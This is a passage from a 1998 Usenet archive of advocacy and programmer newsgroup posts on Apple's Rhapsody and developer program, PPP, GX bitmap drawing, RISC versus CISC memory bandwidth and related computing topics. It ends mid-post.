References: <199801202218001457904@ppp8.hol.fr> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com>
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Kenneth R. Kinder wrote:
>
> In comp.os.linux.advocacy , article <352A6D21.3FC9A99@cisco.com> , Barry Friedman <friedman@cisco.com> wrote:
> > SLIP was a hack. This is well known. PPP is robust
> > and extensible. You practically can't compare the two.
>
> Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
> modulization system is a hack!
How so?
> 56k is an even bigger double hack! ISDN is even a hack!
> From a programmer's point of view, the phone system is a hack. There isn't
> an elegant way to connect to the Internet without spending gobs of money.
Whatever.
>
> >> Already, many new replacements for the PPP protocal are out, and
> >> being refined.
>
> > OK, I'm curious. Could you name them please? Refs to internet drafts
> > would be helpful.
>
> Not off the top of my head...
OK, whenever.
> >> PPP will not be obsoleted by optical cable as you seem to think,
> >> but by newer protocals that are more robust, and hopefully, with
> >> cryptography.
>
> > Why not just get these via extensions to PPP? See
> > http://www.ietf.org/html.charters/pppext-charter.html for details.
>
> Actually, I'm kind of sick of the whole idea of modulization.
What's your alternative?
Thanks,
Barry
--
Barry Friedman mailto:friedman@cisco.com
Software Engineer/ phone:408-526-8284
Code Dependent "Not everything that can be counted counts,
Cisco Systems Inc. and not everything that counts can be counted"
-- Einstein
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 00:40:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14DD5D9-5FDE2@206.165.43.142>
References: <maury-0504982052210001@ts62-16.tor.istar.ca>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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Maury Markowitz <maury@remove_this.istar.ca> said:
> > Makes it faster than doing it in several passes.
>
> How do you know?
If you mean "did I test this on this specific algorithm?"
No, I did not.
OTOH, I *have* done "to the metal" graphics work on a 604, and for THAT CPU
(and likely for the other PowerMac CPUs and probably even the 68K CPUs),
I'm pretty confident, based on my experience, that implementing GX bitmap
drawing in one pass is the easiest and most efficient way of doing it.
This isn't some convolution filter where you've got to take into account
the effects of cache-coherency on the speed of reading and writing adjacent
horizontal and vertical pixels, this is simply:
read a pixel. If it is an indexed bitmap, obtain the 64-bit color from the
color table. If it isn't, make it a 64-bit color. Split it into color
channel info. Manipulate each color channel based on the source matrix.
Store the resulting 64-bit number somewhere (on a PPC, 2 GPRs will hold
this -it's less easy on a 68K, which is what the code was originally for,
but even storing it in memory is faster than reading back in because 8
bytes will still fit in L1 cache, even on a 68K CPU). Obtain the
destination pixel. Proceed as above with the destination matrix. Apply the
device matrix last. Don't forget to modify according to the various
max/min/clamp values and flags. Apply composite modes, transforms, and so
on as needed. Draw.
There's no way that that is going to be easier to implement using several
passes. You need info from each color channel to influence the other color
channels in the first place. You don't need info from adjacent pixels until
you need to take dithering and so on into account, which takes place AFTER
all of this is said and done, and dithering isn't done for 32-bit
destination bitmaps, so, at least for that case, you still don't need to
worry about adjacent pixels.
I've never implemented dithering, but a quick read of Foley and van Dam
seems to say (as I expected) that you need to work with adjacent pixels to
the side and above/below the target pixel, so you need to have the
non-dithered image already done before dithering. SO... do a single pass
for handling the ink-object and [probably] transform matrix drawing issues
and subsequent passes for dithering/half-toning.
Of course, memory constraints might come into play here with larger
bitmaps, so you might need to implement the algorithm using overlapping
tiles when applying dithering, but I don't think that you were asking about
"real world" conditions, but only why I thought that a single-pass would be
the easiest and speediest way to implement the GX bitmap drawing algorithm
assuming enough memory for the most efficient implementation.
In a nutshell (and this applies to any sized tile, including the entire
bitmap):
obtain the source pixel (or destination pixel if the flag is set that way).
Convert it to a 64-bit color. Deal with each channel separately using other
channel info as needed using source, destination and device matrices and
other parameters found in the ink object. Recombine the pixel. Make it the
appropriate size. Apply transform scaling/skewing/etc info when appropriate
(before or after the colorizing stage) . Do this in one pass for a given
tile. Dither/halftone if needed and draw. Repeat as needed if more than one
"tile" involved.
Admittedly a naive implementation, but I doubt if you can speed it up by
doing separate passes.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 17:34:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1516690-C6005@206.165.43.150>
References: <6ggrjt$82q$1@news2.apple.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Paul Rekieta <PRekieta@ix.netcom.com> said:
> >No betas, and now, apparently no online versions of the SDKs. They were
> >available last week online, but no longer.
> >
> The SDK's are at <http://devworld.apple.com/sdk/index.html>
Yep, found that out earlier today. The setup for downloading looks to be
better than the old site's, so I'm not just off-base, but out-system
(watching the 100th episode of B-5 right now ).
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 17:35:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15166EA-C7560@206.165.43.150>
References: <6ggrql$oop$1@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> Why does anyone *need* to be part of the program if they're not
developing
> professional or semi-professional apps. Sure, access to the latest and
> greatest betas of the s/w is fun, but not essential if you're hacking at
> home
> for the joy of it. Apple is not a charity -- and I don't want to have to
pay
> more for my Mac to subsidise someone else's hobby.
>
I thought that the SDK's were no longer online (all my URLs look to be
broken with the new setup). As far as the betas go, I'd like to see cheaper
access for shareware developers, but that's another point than the one I
was making.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 08:06:16 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ih37n.grh.mbkennel@lyapunov.ucsd.edu>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
On Sun, 05 Apr 1998 17:54:42 -0600, spagiola@usa.net <spagiola@usa.net> wrote:
:sal@panix3.panix.com (Salvatore Denaro) wrote:
:> > Point taken; NS was Jobs' second GUI OS (and I must say, far
:> > better than the first).
:>
:> And Rhapsody is going to be the third.
:
:True. But that doesn't mean it'll necessarily be better. Whereas with the
:second (ie NeXTSTEP), they were able to start with a blank slate and come up
:with the best UI they could, in the case of the third they are very much
:constrained by the need to accomodate the legacy Mac users. And it is
:well-known that imposing constraints on something never makes something
:better.
:
And supposing "Themes" really works as well as it ought? Perhaps then
there will be a "NeXT Classic" theme?
That could be a good Jobsian metric of suckness vs. non suckness:
"I want to use NeXTMail. It must work like real NeXTMail. It must
not be special cased into Mail.app. Make it so."
I wonder if there was some holy GUI war meeting in Apple?
M:"It has to look like a Mac, otherwise people will be scared and send us
hate mail."
J:"The Mac sucks."
M:"Does not."
J:"Does too. And I'm the only one whoc an say this and get away with it.
If it looks like a Mac after all these years I'm going to fire somebody."
M:"It's better than Windows."
J:"Vanilla ICe is better than Windows. So what? Besides the Mac festered
so long that Microsoft stole from us instead of Apple."
M:"But you don't understand Mac users."
J:"You just have a mediocre mentality and will never amount to anything."
T:"Excuse me guys, but we've been playing around with this little thing
in our AppKit and in a couple of weeks I think we can....
(M = "mac manager", T = "Tevanian")
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 06 Apr 1998 00:43:44 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3528172D.4AFA@earthlink.net>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de>
<6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6eob$atu$1@quasar.dimensi <6g6jrc$9j9$1@news.cs.tu-berlin.de>
<joe.ragosta-0504980729350001@elk75.dol.net> <6g806f$fhe$3@ironhorse.plsys.co.uk> <3527FB86.74E4@earthlink.net>
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Please DON"T screw it up, Apple!
Steve
From: dillon@best.net (Matt Dillon)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 8 Apr 1998 17:45:12 -0700
Organization: Best Internet Communications, Inc.
Message-ID: <6gh5mo$eku$1@flea.best.net>
References: <6fbvpe$l63@newsb.netnews.att.com> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com>
:In article <35290A7D.41C67EA6@ctron.com>,
:A. J. LaSalle <alasalle@ctron.com> wrote:
:>Salvatore Denaro wrote:
:>>
:><< snip >>
:>>
:>> Hmmm... But bus speed is a major limitation for x86 CPUs. It might have to
:>> do with the large register pool in PPC chips vs the "accumulator" styled
:>> register pool that the x86 has. Having a large L2 might help, but; I would
:>> think that there would still be more memory read/writes with the x86s
:>> smaller reg pool.
:>>
:>
:>
:>Actually, one of the key historical problems of "Risc" architectures has
:>been
:>memory starvation - not getting data to the core as fast as the core can
:>process it. Cisc architectures have suffer a bit less so on this
:>front. The typical benefit with Risc has been faster core processing
:>rates. The problem with early PPC Macs was a poor memory subsystem.
CISC vs RISC is no longer an argument. Historically, primary caches
were small (128 or 256 bytes, for example) and the difference in
instruction size mattered. But cache dynamics are such that each
doubling of the cache size leads to progressively diminishing returns.
Since you only need around 2x the primary cache on a RISC chip verses
a CISC chip for the same performance, the fact that RISC instructions
are larger became mostly irrelevant once primary caches hit 4 KBytes.
Any modern day processor will go like lightning if the code fits in its
primary and secondary caches. Intel found this out the hard way when
the numbers for their low-cost chips (lacking secondary cache) came out.
Pentium*'s have really aweful primary memory interfaces to be sure.
But Intel has been pretty good at including large 256K, 512K, or better
secondary caches. The secondary cache on the PPro is also four-way
set associative, I believe (I don't know what it is on the P-II).
For a single-user workstation, that's plenty. It's pretty good for most
servers as well, especially the way most people use them.
I went out and bought the cheapest P-II or K6 PC I could find. I got
a K6 233 PC with everything except the monitor for $1000. It had a 3G
IDE disk, 32 MB of ram, and 512K of secondary cache. It also came with
a keyboard, speakers, microphone, CDRom, and pretty good video card.
Very little of that cost comes from the cost of the cpu. The machine is
comparable to the $5000 PPro-200 box I bought a few years ago. I run
FreeBSD on both. In fact, I don't understand how PC makers can even sell
the higher-end ($2000 or $3000) machines to consumers when their
lowest-end models pack five times the processing power anyone but a game
player would ever need.
:>It seems that the primary benefit of Risc now a days is that they
:>require
:>fewer transisters (and power) to get the same amount of work done. But
:>they
:>need alot of cache to keep their cores busy (PPC 750 has an L1 cache
:>twice
:>the size of the PII). That larger L1 a very significant contributor to
The primary benefit of RISC is that the architecture is more easily
pipelined and segmented, allowing you to run the processor at much
higher frequencies. Intel has to leap through hoops and use their
superior fabs to even come close. To give them credit, they *are*
pretty close, but the insides of the pentium's had to be turned into a
spaghetti of complexity to do it.
Look how easily IBM ran out a 1GHz Power PC core in copper ? They
probably didn't have to change the design at all.
MIPS and PPC architectures can be produced much more cheaply and this
is important to the industry (i.e. why Nintendo chose MIPS, why
T.V. makers are heading towards MIPS). But processors are so cheap
these days that Intel still wins in the consumer marketplace. The
price differential isn't large enough to give PC makers any incentive
to leave Intel's cradle.
:>in a bandwidth constrained model - x86 would actually do better (slighty
:>smaller binaries plus compex instructions), in an unconstrained
:>bandwidth model, PPC would come out on top (because it has a faster
:>core). But it would be easy to disprove either claim on a given
:>application.
:>
:>
:>AJ LaSalle
Maybe, maybe not. From an instruction point of view, yes, but the
data accesses are no better with x86 then with any other processor
and x86 might actually be worse due to the lack of registers. Since
the instruction bandwidth problem can be equalized with a larger
secondary cache, and since secondary caches are already a minimum of
256KBytes now, it's mostly irrelevant in a single-cpu architecture.
Not *entirely* irrelevant... obviously the main memory subsystem
must be 'sufficiently' fast and just as obviously 66MHz doesn't cut
it, nor does 100MHz, but in a single-cpu system you aren't going to
notice much difference.
It should also be noted that since most main-memory accesses are
burst reads into the cache, you can approach it from two directions:
Both the cycle time of the memory and its width. A 256 bit wide 66MHz
dynamic ram bus will be just as good as a 128 bit wide 133MHz dynamic
ram bus when you are talking about 16 word (512, 1024, 2048 bit) cache
refills.
Dynamic ram cores can burst at insane speeds. RamBus, for example,
simply kept the DRam core and redid the bus interface surrounding it.
Think about it: One random access (40ns) transfers an entire RAS row
into an addressable shift register on a standard DRam that is usually
256 bits wide. The raw core bandwidth of a single DRam chip is thus
around 6.4 GBits. If you add up the core bandwidth from the 8 or 16
chips you find on a SIMM or DIMM, you have several gigabytes/sec of
potential bandwidth. The DRam core isn't the problem, it's the bus
interface on the DRam chip that's the problem.
Static column drams (a technology now mostly ignored) were originally
conceived as a means to replace page-mode operations by allowing
four columns to be accessed with combinational logic. Unfortunately
it was not only an idea before it's time, but still used request/response
handshaking on a per transaction basis. Now the best way to pull data
out of DRams is to pipeline it with a clock and being *very* careful
in the PC board design to guarentee that the clock edge leads the data.
You do multiple transfers per transaction. MIPS has one of the best
bus interface designs in this regards.
In the old days you used the rising edge of the clock to latch the data
on the source and the falling edge to latch it on the destination.
Latching the data on a single clock edge, though, is much faster if you
can guarentee the timing of the transitions. Even conventional DRams
use self-timing latches (by using delay logic internally) so they can
spec that certain clocks are allowed to be coincident with the data
being clocked. You can do away with self-timing latches if you can
guarentee that the clock edge leads the data, and you CAN guarentee
this with very careful chip and PC board design... which is what
RamBus relies on to get their 500MHz-1GHz bus design.
-Matt
--
Matthew Dillon Engineering, BEST Internet Communications, Inc.
<dillon@best.net>, include original article w/ any response.
do not under any circumstances send email to joeblow@bigspender.idiom.com
and, for gods sake, don't email bucktram@popserver.idiom.com
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 02:52:26 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d776cj.1sobwhydfgigwN@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <joe.ragosta-0804981312160001@wil32.dol.net>
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Joe Ragosta <joe.ragosta@dol.net> wrote:
> Maybe that was the point, but it's not how I read it, either.
But it was the way I wrote it :-}
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 8 Apr 1998 19:52:54 -0500
Organization: CE Software
Message-ID: <MPG.f95d7e4b8fb1622989890@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net>
In article <joe.ragosta-0804981906460001@elk68.dol.net>,
joe.ragosta@dol.net says...
> > Unfortunately, when details do come out, you're just as screwed as ever. . .
>
> Please explain how you're so badly screwed.
>
> The SDKs are still downloadable for free.
>
> The monthly mailing is available for $50 less than the old Associate membership.
>
> The lowest paid developer status is $500 instead of $250. If you really
> need to get the beta OS versions, your cost went up by $250. But everyone
> else seems to be better off.
>
Including Microsoft, who looks better and better every day.
Donald
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy
Subject: Re: NeXT style scroll bars
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net> <6fvgu2$76q@crcnis3.unl.edu> <3523595e.0@maser.urz.unibas.ch> <3523C37E.614550BA@nstar.net> <3524bac0.0@maser.urz.unibas.ch> <6g2bpu$m4p$1@ns3.vrx.net>
From: no_spam_frank@ifi.unibas.ch
Message-ID: <352891ae.0@maser.urz.unibas.ch>
Date: 6 Apr 98 08:26:22 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
[...]
>
> Hmmm. What it basically says is that if you have a poorly designed UI for
> an app with a poorly designed form layout, you'll have problems. I think
> that's more a general statement than anything about scroll bars. What if the
> form field had been off the page to the right in it's entirety? What if the
> field had been 50 pixels to the left? What if it was too big and the
> horizontal had been off the bottom?
>
> Now in fairness I think that upper and left would likely be better than
> lower and right for these sorts of situations. But the key here, as I see
> it, is to make sure this doesn't happen in the first place. Forms should not
> be allowed to be displayed in ways the average user can't use them.
Ah, but that's not not always under the writers control. You can't always make
assumptions on how wide (or tall) a window will be. If a user likes to have huge
fonts, then the width of the form will most likely go off the window. Should we
use very narrow forms just because this can be and because you can't tell Netscape
and others to automatically reduce the width if it is less than the displayed
window size? Should the browser even try to do this? I think not, thus the problem
will remain, even if the page *is* well designed. (It was exactly this kind of
thing that sparked off the [exaggerated] example.)
-Robert
--
Institut fuer Informatik tel +41 (0)61 321 99 67
Universitaet Basel fax. +41 (0)61 321 99 15
Robert Frank
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT,MIME mail ok)
CH-4056 Basel (remove any no_spam_ from my return address)
Switzerland
From: jfn@enteract.com (Jeremy Nelson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: 6 Apr 1998 19:26:55 GMT
Organization: Damage, org.
Message-ID: <6gba9v$5oi$1@eve.enteract.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <slrn6i7f86.feq.danielt@thranx.dgii.com> <6g0fs1$hng$1@interport.net> <u11zvfp82y.fsf@noisy.vggas.com>
>>>>>> "float" == float <float@interport.net> writes:
> float> Who uses glibc besides Linux?
James Youngman <JYoungman@vggas.com> wrote:
>Hurd and 86open.
When did 86open change? The last time i heard about it, 86open was using
glibc as a *specification baseline* and glibc itself as a *sample
implementation*. (Much like how X Window works. Anyone can write an
implementation of the public standard, but the sample implementation is
copyright and now effectively costs money to distribute non-electronically
as of R6.4) There isnt anything in the world to say that an 86open system
couldnt use a different implementation, and in fact, the 4.4BSD's will be
using the 4.4BSD-heritage libc (i presume for the sake of sanity).
Jeremy
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
From: nagle@netcom.com (John Nagle)
Subject: Re: Apple developer program
Message-ID: <nagleEr4H6r.ID@netcom.com>
Organization: Netcom On-Line Services
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <1d765na.sy4iporb5zhoN@p060.intchg1.net.ubc.ca>
Date: Thu, 9 Apr 1998 01:23:14 GMT
Sender: nagle@netcom6.netcom.com
bbennett@unixg.ubc.ca (Bruce Bennett) writes:
>Rex Riley <rriley@yahoo.com> wrote, among other things:
>> Apple's actions signal that it can't afford to get into the "handout"
>> business nor support legions of "individual" developers (read welfare). By
>> "raising-the-bar" Apple introduces an entry fee and seeds the concept of
>> "profit" in its Developer base. Developers who approach Rhapsody without
>> resources and a profit motive will be annoyed, discouraged and drop off.
>"Post no trifling freeware or shareware. Give us shrink-wrapped consumer
>products or give us death."
>Anyone alarmed by the "think different" ideology should be pleased by
>this new turn.
Typical Apple. The big devlopers are fed up with Apple because
of the declining market share and the changes of direction. So
Apple pisses off the small developers.
Sure, you can run Microsoft apps, but if you're going to run
mostly Microsoft apps, you may as well run them on a Microsoft OS.
John Nagle
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 09:14:37 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ga6dt$fpg$1@news.cs.tu-berlin.de>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasa
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Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> writes:
[...]
>I take it you aren't aware that TIFF is nearly the same as GIF, as far as
>LZW compression goes, and does require royalties?
Yes, I am not aware that TIFF requires royalties, because it doesn't.
LZW compression is a purely optional extension. Use RLE or JPEG
instead, both of which are supported. I don't know wether flate
encoding is supported yet, but it would be trivial to plug in.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 09:18:27 GMT
Organization: P & L Systems
Message-ID: <6ga6l3$fhe$6@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com>
<6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com>
<6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de>
<6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6g909g$3cl$1@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <6g6jrc$9j9$1@news.cs.tu-berlin.de> ,
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>
> > [...]
> >>> RTF is a Microsoft standard. Again, NeXT picked something that was
> >>> available, even if it came from the evil empire.
>
> >> Yeah... Presently, I wouldn't have choosen RTF, but that's ok...
>
> > What alternative rich text format would you have chosen?
>
> It wasn't around then, but I would go with XML. There are lots of
> possibilities: html, sgml, tex, ect...
>
Umm, for Ken and for Lawson: the choice was made around 1988.
How long has Unicode been around? How long has HTML been around? SGML
wasn't exactly popular with the masses until HTML came out. As for XML, it's
what, two years old max?
Think back to 1988 and then tell us, given NeXT's goal of using standards
where they make sense, and diverging when they could do something
significantly better, tell us again what format you'd have chosen.
Best wishes,
mmalc.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 12:34:50 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0804981234500001@dante.eng.uci.edu>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
In article <B1511189-1AF6A@206.165.43.154>, "Lawson English"
<english@primenet.com> wrote:
>But shareware programmers often fill in the gaps that commercial software
>leaves. Also shareware programmers learn the ropes via feedback from their
>customers and are often high school/college students who later enter the
>Mac programming field as professionals.
>
>There's one very, VERY important piece of software that wouldn't exist if
>shareware wasn't easy to do on the Mac:
>
>Stuffit.
>
>Raymond Lau put himself through MIT by writing Stuffit when he was 16 and
>Alladin Software is a pretty important software house in the Macintosh
>community..
>
>Where's the next Stuffit or Alladin Software for MacOS going to come from
>if there aren't going to be any more Raymond Lau's?
Actually there are quite a few that fit into this category. However, there
are also very few that I can think of off hand that didn't originate at an
.edu either directly (as with Fetch, Newswatcher, etc.) or indirectly (as
in the case of Stuffit).
Education seems to be quite well taken care of these days by Apple. Apple
has also opened up quite a bit to the developer by releasing a lot of
their developer tools for free - don't want to pony up the $200 for MW -
MPW is free now. So I don't think the shareware community will be as
hard-hit as it might seem at first. They may not get everything that they
might want, but then neither do any of us.
Finally, I don't think that the Mac community would be SOL if Ray Lau
never developed Stuffit. It had many competitors in the old days and
Stuffit's success is due to being a very good shareware app that made a
very good transition to commercial status. There is no saying that we
wouldn't have some other app today that we'd be just as happy with -
clearly the Wintel folk are happy with whatever they have, none of which
are as good as Stuffit, IMO.
-Bob Cassidy
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 01:48:06 GMT
Organization: P & L Systems
Message-ID: <6gh9cm$oop$7@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ylaporte-0804982005030001@139.103.176.79>
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Cc: ylaporte@acm.org
In <ylaporte-0804982005030001@139.103.176.79> Yan Laporte wrote:
> What we need from Apple is an idea of when and what we will have to pay
> for the system in higher education institutions. And don't get me the
